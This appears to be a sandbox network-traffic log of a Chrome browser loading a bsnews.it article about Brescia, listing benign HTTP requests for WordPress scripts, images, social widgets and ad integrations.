Source: global traffic	HTTP traffic detected: GET /sdks/OneSignalSDK.js HTTP/1.1Host: cdn.onesignal.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /plugins/like.php?href=https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/&layout=button_count&show_faces=false&width=105&action=like&colorscheme=light&height=21 HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tdModalPostImages.js?ver=12.6.5 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /avatar/45a1676121b18dd38477fabfbc32859b?s=96&d=mm&r=g HTTP/1.1Host: secure.gravatar.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/td-cloud-library/assets/js/js_files_for_front.min.js?ver=be262a20ca49ba5e513ad6176c77b975 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/photo_6051118783147393837_y.jpg?resize=218%2C150&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tdLoadingBox.js?ver=12.6.5 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tdToTop.js?ver=12.6.5 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tdAjaxSearch.js?ver=12.6.5 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tdLogin.js?ver=12.6.5 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3iEpO4/yH/l/en_US/F6EglYYU9ZT.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.facebook.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3/yD/r/FEppCFCt76d.png HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/maxresdefault.jpg?resize=218%2C150&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2022/01/bsnews8-3.jpg?resize=218%2C150&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /avatar/?s=50&d=mm&r=g HTTP/1.1Host: secure.gravatar.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2019/11/banner-cucina.jpg?resize=234%2C90&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240327_1785.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240327_1870.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tdMenu.js?ver=12.6.5 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tdInfiniteLoader.js?ver=12.6.5 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-polls/images/loading.gif HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/photo_6051118783147393837_y.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240327_0323.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240327_0381.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c/6.4.3/wp-includes/js/comment-reply.min.js HTTP/1.1Host: c0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240327_1109.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/mailpoet/assets/dist/js/public.js?ver=4.48.0 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/maxresdefault.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /likes/master.html?ver=20240327 HTTP/1.1Host: widgets.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2022/01/bsnews8-3.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2017/04/musil.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2017/03/centro-san-filippo-brescia.jpeg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/akismet/_inc/akismet-frontend.js?ver=1710989504 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/girl-2771936_1280.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/bsnews-11-3.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/bsnews-10-3.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /integrations/22f9505a-d568-49e1-8952-cc5110fd590b/22f9505a-d568-49e1-8952-cc5110fd590b.js HTTP/1.1Host: static.sunmedia.tvConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
